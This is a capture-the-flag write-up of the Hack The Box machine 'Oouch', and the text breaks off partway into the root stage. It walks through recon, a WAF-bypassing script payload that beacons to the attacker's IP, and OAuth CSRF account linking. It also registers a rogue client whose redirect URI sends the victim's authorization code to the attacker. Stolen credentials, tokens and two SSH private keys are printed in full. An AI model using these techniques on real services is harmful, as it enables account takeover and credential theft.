Details
This machine is Oouch from Hack The Box
Recon
I started with a masscan
kali@kali:~$ sudo masscan --router-ip 10.10.14.0 -p0-65535,U:0-65535 -e tun0 --rate=1000 10.10.10.177
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-29 21:37:45 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 8000/tcp on 10.10.10.177
Discovered open port 22/tcp on 10.10.10.177
Discovered open port 5000/tcp on 10.10.10.177
Discovered open port 21/tcp on 10.10.10.177
And then an nmap scan
kali@kali:~$ sudo nmap -sV -p21,22,5000,8000 10.10.10.177
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-29 21:43 GMT
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.10.177
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
5000/tcp open http nginx 1.14.2
8000/tcp open rtsp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=2/29%Time=5E5ADB24%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req
SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1
SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds
User
I first checked the ftp server
kali@kali:~$ ftp 10.10.10.177
Connected to 10.10.10.177.
220 qtc's development server
Name (10.10.10.177:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Feb 11 18:34 .
drwxr-xr-x 2 ftp ftp 4096 Feb 11 18:34 ..
-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt
226 Directory send OK.
ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.00 secs (1.2297 MB/s)
I then inspected the file
kali@kali:~$ cat project.txt
Flask -> Consumer
Django -> Authorization Server
Onto the webserver http://10.10.10.177:5000/
And then the port 8000 one
On the port 5000 server, I clicked sign up
And made an account with the following details
jack
[email protected]
password
Note: There were lots of 500 server errors in this box, it turned out to be an issue with the box itself and not intended
I tried again with the username jack2 and got redirected to login. So I logged in
I checked out the various pages, starting with profile
Then password change
Next was documents
Then about
Finally contact
I decided to fuzz for directories. Using wfuzz as it worked nicely with setting my session
kali@kali:~$ wfuzz --hc 404 -b "session=.eJzFkDFuwzAMRa-iag4KS7RkOaco2qFDEQQU9ZW4ceLCkqcgd6_QHqFDJ4L_84GfvOtjnrmcUfT-465VbUVfUQqfoHf6ZQYXqHk5qemm6qJYpJmqnqeivtrMsz48dv_PveI0lbpynZabett-oLzNT-odsyxXqE-Wi336w9LDrn1qRTnrfV03tG5Keq8pswdyL5ao7xh5NI4w-mwNfMe-9y7YLClHMQEuOeckjEjeNdUI85AQqDOI3Th0hgJ5ayGU4hCDs55joq4XguUQQXZoKDw1UQbyIbX4UtZ8rMsFt5bHBBfRi2FncoidsJEMMT4YGikbNmkkDLCN2wrW3yN6_fgGo5ejmQ.Xlrepg.I6MDWGBBDfHrozOwyGCaAJ08xLU" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://10.10.10.177:5000/FUZZ'
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.177:5000/FUZZ
Total requests: 119600
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000009: 302 3 L 24 W 217 Ch "login"
000000025: 302 3 L 24 W 217 Ch "register"
000000036: 200 66 L 195 W 2909 Ch "contact"
000000049: 200 70 L 193 W 2974 Ch "profile"
000000053: 302 3 L 24 W 219 Ch "logout"
000000140: 200 54 L 154 W 2167 Ch "home"
000000171: 200 53 L 157 W 2219 Ch "about"
000000337: 200 52 L 146 W 2101 Ch "documents"
000006648: 200 54 L 173 W 2511 Ch "oauth"
So I checked out the oauth page
I added the domain to hosts and visited http://consumer.oouch.htb:5000/oauth/connect which redirected to
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read
I added that domain to hosts too, which in turn redirected to http://authorization.oouch.htb:8000/login/
My creds from port 5000 didn't work here, so I clicked register
I signed up here, but didn't include any ssh details and then clicked login
I then went to http://10.10.10.177:5000/oauth and clicked login which led to http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read
I then clicked authorize
At this point I returned to the contact form and attempted an xss
They have a waf, but I bypassed it with
<sCrIPT>new Image().src="http://10.10.14.27/img"</sCrIPT>
Which led to
10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -
10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -
10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -
Coming up in my python server. It later turned out this isn't actually XSS, and the user visits any link you send them. But I moved back to fuzzing this time on port 8000
kali@kali:~$ wfuzz --hc 404 -b "sessionid=bk8p0iq74yccs3fbrtg5gf2xmykqgky4" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://authorization.oouch.htb:8000/oauth/FUZZ'
sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://authorization.oouch.htb:8000/oauth/FUZZ
Total requests: 119600
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001234: 301 0 L 0 W 0 Ch "applications"
000005490: 301 0 L 0 W 0 Ch "authorize"
000006951: 301 0 L 0 W 0 Ch "token"
Visited http://authorization.oouch.htb:8000/oauth/applications/
More fuzzing then
kali@kali:~$ wfuzz --hc 404 -b "sessionid=bk8p0iq74yccs3fbrtg5gf2xmykqgky4" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://authorization.oouch.htb:8000/oauth/applications/FUZZ'
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://authorization.oouch.htb:8000/oauth/applications/FUZZ
Total requests: 119600
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000025: 301 0 L 0 W 0 Ch "register"
Which led to http://authorization.oouch.htb:8000/oauth/applications/register/
At this point I got kinda stumped. But I eventually found a way forward utilising an attack against the process of linking accounts on the port 5000 to the oauth on port 8000. To do this, I created a new account on the port 8000 but didn't tie it to a port 5000 account. Instead I went to http://consumer.oouch.htb:5000/oauth, and followed most of the process. Instead using burp to drop the final request (with token in the url) and save the url for it myself. Which was
http://consumer.oouch.htb:5000/oauth/connect/token?code=kX9vOBlVO9eXdp3jDVrc36jWCcBGG8
I then sent this url into the contact admin form, getting them to click it instead. This caused the admin account for the port 5000 website to be linked to a port 8000 oauth account under my control. As such I logged out of port 5000 and went to http://consumer.oouch.htb:5000/oauth/login, where I logged in using the oauth resulting in
I was logged into the admin account, so I clicked on the documents tab
Some creds of
develop : supermegasecureklarabubu123!
Which I believed to be for http://authorization.oouch.htb:8000/oauth/applications/register/, so I tried them
Here I made an application, the Id I was given was
CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8
The secret was
98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK
I then set the client type to confidential and the authorization grant type to Authorization code. For the redirect uris, I submitted the following
http://10.10.14.27/jirbj1
http://10.10.14.27/jirbj2
http://10.10.14.27/jirbj3
This resulted in me being sent to http://authorization.oouch.htb:8000/oauth/applications/2/
So I decided to test the oauth process using my own client with the following url
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&response_type=code&redirect_uri=http://10.10.14.27/jirbj1&scope=read
I clicked authorize and got sent to http://10.10.14.27/jirbj1?code=3PFInEqYDUMY2qGVZGy1mryp28JAVj, so I had a token and I did it from the qtc account so I hoped to be able to use it to get their details from the api. I used this blog post for reference https://developer.okta.com/blog/2018/04/10/oauth-authorization-code-grant-type
kali@kali:~# curl -X POST --data "grant_type=authorization_code&code=ExLTcMMmgsvxbLLPd68ipGBJo8xzCA&client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&client_secret=98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK" 'http://authorization.oouch.htb:8000/oauth/token/'
{"access_token": "NXxQwB5rmXtTUjn3c9fu3GxiX34jvg", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "83wedJIyAzrvvvB0HTgm1mxsaxY6EL"}
kali@kali:~# curl http://authorization.oouch.htb:8000/api/get_user -H "Authorization: Bearer NXxQwB5rmXtTUjn3c9fu3GxiX34jvg"
{"username": "meme2", "firstname": "Memelord", "lastname": "Lordmeme", "email": "[email protected]"}
It had used my accounts details. But I believed I had the right idea. I realised the docs had mentioned that GET could be used for authorization now in these urls. So I added &allow=Authorize
to the request I was sending. Which resulted in me sending the following link into the contact form
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&response_type=code&redirect_uri=http://10.10.14.27/jirbj1&scope=read+write&allow=Authorize
And getting the following back
10.10.10.177 - - [01/Mar/2020 14:10:50] "GET /jirbj1?code=WJL1q5OtNnh1AbHcjkX1ni0H7N5p9D HTTP/1.1" 404 -
That token should be for the qtc user. So I tried the api again
kali@kali:~$ curl -X POST --data "grant_type=authorization_code&code=WJL1q5OtNnh1AbHcjkX1ni0H7N5p9D&client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&client_secret=98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK" 'http://authorization.oouch.htb:8000/oauth/token/'
{"access_token": "KDKzZO2In9fzlcvIECDMNfZaQE2oRI", "expires_in": 600, "token_type": "Bearer", "scope": "read write", "refresh_token": "BJMfBqwQaMAvKKZMWB8BR1GaEVe5qv"}
kali@kali:~$ curl 'http://authorization.oouch.htb:8000/api/get_user' -H "Authorization: Bearer KDKzZO2In9fzlcvIECDMNfZaQE2oRI"
{"username": "qtc", "firstname": "", "lastname": "", "email": "[email protected]"}
It had worked but the ssh details weren't included. A little bit of testing later and I thought that as I got the user details from /get_user
maybe the ssh details were under get_ssh
, so I tried it
kali@kali:~$ curl 'http://authorization.oouch.htb:8000/api/get_ssh' -H "Authorization: Bearer KDKzZO2In9fzlcvIECDMNfZaQE2oRI"
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----"}
Which cleaned up to
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I used this to login as qtc
kali@kali:~$ ssh [email protected] -i ./private.key
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
qtc@oouch:~$
And grab the user flag
qtc@oouch:~$ ls -la
total 36
drwxr-xr-x 4 qtc qtc 4096 Feb 25 12:45 .
drwxr-xr-x 3 root root 4096 Feb 11 18:11 ..
lrwxrwxrwx 1 root root 9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc qtc 220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc qtc 3526 Feb 11 18:11 .bashrc
drwx------ 3 qtc qtc 4096 Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root 55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc qtc 807 Feb 11 18:11 .profile
drwx------ 2 qtc qtc 4096 Feb 11 18:34 .ssh
-rw------- 1 qtc qtc 33 Feb 11 18:34 user.txt
qtc@oouch:~$ cat user.txt
[REDACTED]
Root
I took a look at the note file
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?
Potentially interesting, so I fired up pspy
020/03/01 15:52:01 CMD: UID=0 PID=5857 | /bin/sh -c /root/get_pwnd.py > /root/get_pwnd.log 2>&1
2020/03/01 15:52:01 CMD: UID=0 PID=5858 | /bin/sh -c /usr/sbin/iptables -F PREROUTING -t mangle
Interesting but not yet helpful. So I dug some more
qtc@oouch:~/.ssh$ ls -la
total 16
drwx------ 2 qtc qtc 4096 Feb 11 18:34 .
drwxr-xr-x 4 qtc qtc 4096 Mar 1 15:48 ..
-rwx------ 1 qtc qtc 568 Feb 11 18:34 authorized_keys
-r-------- 1 qtc qtc 2602 Feb 11 18:34 id_rsa
qtc@oouch:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
TSRUv2YIfCGTi1ND553pywvGStwq4rUXIcxtEBysYFf+rTD5psyCpNAJO4osWivIc67Snz
zQiN0D3vJFxtSmJzKKPJmenNwg1Fnr5XQCvptYu65bjkTUcJ+q+CgBsHT9qlHbTEdrqOwj
pdrebhrbmLQUa4QGXv0ut+3/1TK6z6vPtge3W/p3tap+Fsg/7D8X+K32Q8Jb1yenLXyjGF
K1evXjLSCmolNxWBql03wGjm5haztPvk7wf2XB+IdtXnVTwp9hyeKR1BWWmAxFCndh6OtT
dHIBlGFlnPpnAqAsciy0mjiQL9r7YxK1fWJMixljAAAFiA2O9SwNjvUsAAAAB3NzaC1yc2
EAAAGBANqIdpc11TMvGeWYQjXL4NZFCMQQs0D4ZwrW8RBeYAVib1/oa5tta92S3pCSC9ZO
+HsWcszlTix18o8W/qY1lnAdn2c3EHiBH7kHkQY4jNf4P64OZ1t7ev4wTwTry3VpRzAsRt
rrEX48StC6IQEJ2BwfjTl1gwKW79qlxw76i6AP5ClY4WEc0T1U5YdkPf76hE0kVL9mCHwh
k4tTQ+ed6csLxkrcKuK1FyHMbRAcrGBX/q0w+abMgqTQCTuKLForyHOu0p880IjdA97yRc
bUpicyijyZnpzcINRZ6+V0Ar6bWLuuW45E1HCfqvgoAbB0/apR20xHa6jsI6Xa3m4a25i0
FGuEBl79Lrft/9Uyus+rz7YHt1v6d7WqfhbIP+w/F/it9kPCW9cnpy18oxhStXr14y0gpq
JTcVgapdN8Bo5uYWs7T75O8H9lwfiHbV51U8KfYcnikdQVlpgMRQp3YejrU3RyAZRhZZz6
ZwKgLHIstJo4kC/a+2MStX1iTIsZYwAAAAMBAAEAAAGAHPvEXsGxCRzSHnVXMrNbmo+FXh
uo6pEHeZSQXE9oBM7NXrcArpiQmc6E3j/Aeif3JLwRdcNj3tm11eyC0aCB11TWc2YGNTVK
88thHKYbZ/lw2LDoXGXAJj5Z/JkZXvUbj/QPYbGTnF56vbwx7GVV2EUHAfvn6EwEe8dI41
+vbQcuh51WJv8fcTb1SkOtRUgMi/6pjskFjxEU9IGSnAGBpIBnSD5zIaZK7xyhymVDJ3QE
Pwwj0E+HdDxzPQZSY5MywAOV6Zjnp+xmH/f4mCoZD5pvrS37IUCxn/YfyS+mbX/d7ktr3N
5oW2AqmefgxeoLi4sOuG0QKTB9m/SSszgdQIResrjyUZ8zT2fit3uTF3PiJ0vMpePR1Mir
iV/0I/mAj/ltbV8Rw8Y8xfRtbwWdwo93pVq2OwnFBwjn9S33cctB11xzV5kalbs8wHBilF
YANrxNwOPlmQLHml1hD155y8+R8pfjGqDV+rkVjnRr8zpbZ620LqI5t1FyxlSs0U/BAAAA
wFZ9hd5CMep215pK70sm40vcdm5A0oouxcUA7eJ5uHlsSN7R04yGsv8ljZz+2JXUFtu5kQ
bpDsSZuwN9svPwnqSF/21wO+3Tz/ohGR1j5wolcF54Kh0P5f/HoLlnJLMZvI+k3FRFPfaF
MYNp/Fvyj+Bi05nPgqb/yGQNx4veLGN0el0ffPqpquP+deljnU5jrwA/BUonh9tX9P/yP9
TO/iH8RPOjJFMgh1zXNElNWCitEuOBU855xXnedqGBhpea2gAAAMEA8cgPi7OuyBWcQIj8
FK4GVupY6k6PfulC/WAca3xKIy0QTUCJrv1j6HRhYej8+ckVMOw9v4m8EZEGOkc7MYkQLT
w2KgrCR4pDIoYjq/sBr6b6FKudSLM3Rw/c8vHnczsQYCRdNdX4duT/j2uloIshKE+3trBt
PKYzWul3Yalo+o3eu1yaCcdkOybD+Jm9uxf6KjB7Zpu9Mxxx67DyIGlLJVIHMOWPotuM9F
IZ9bPoRtHCFy0pqhQzWK9Mj5u3AQY5AAAAwQDnYme9N1XM6WQxBbjncHRo3C69r8bsHtex
wWMcrd2u62nTWhUD2dc1kbk1kcJzrDfy5lCEgCwMrMrSmIHnEyKysfir++LSuKLRgyEZIM
rTPL8nIkJQ/ykWhtP5NIxtxoRuL26tqI4sxw51n1Jsu8aBJc9t4vudDBOr9uU5N619LZGS
WZ+OOm+sVgJ8a2rvGVuTlngzZb2/PTgUAAnZsXTTlKbLrq17IEbS3F1SX0uaBzmb3qMREv
5sUAcJH6xV/HsAAAAOcGVudGVzdGVyQGthbGkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
That wasn't the same key as for qtc. But I did find some machines in the IP ranges used by docker
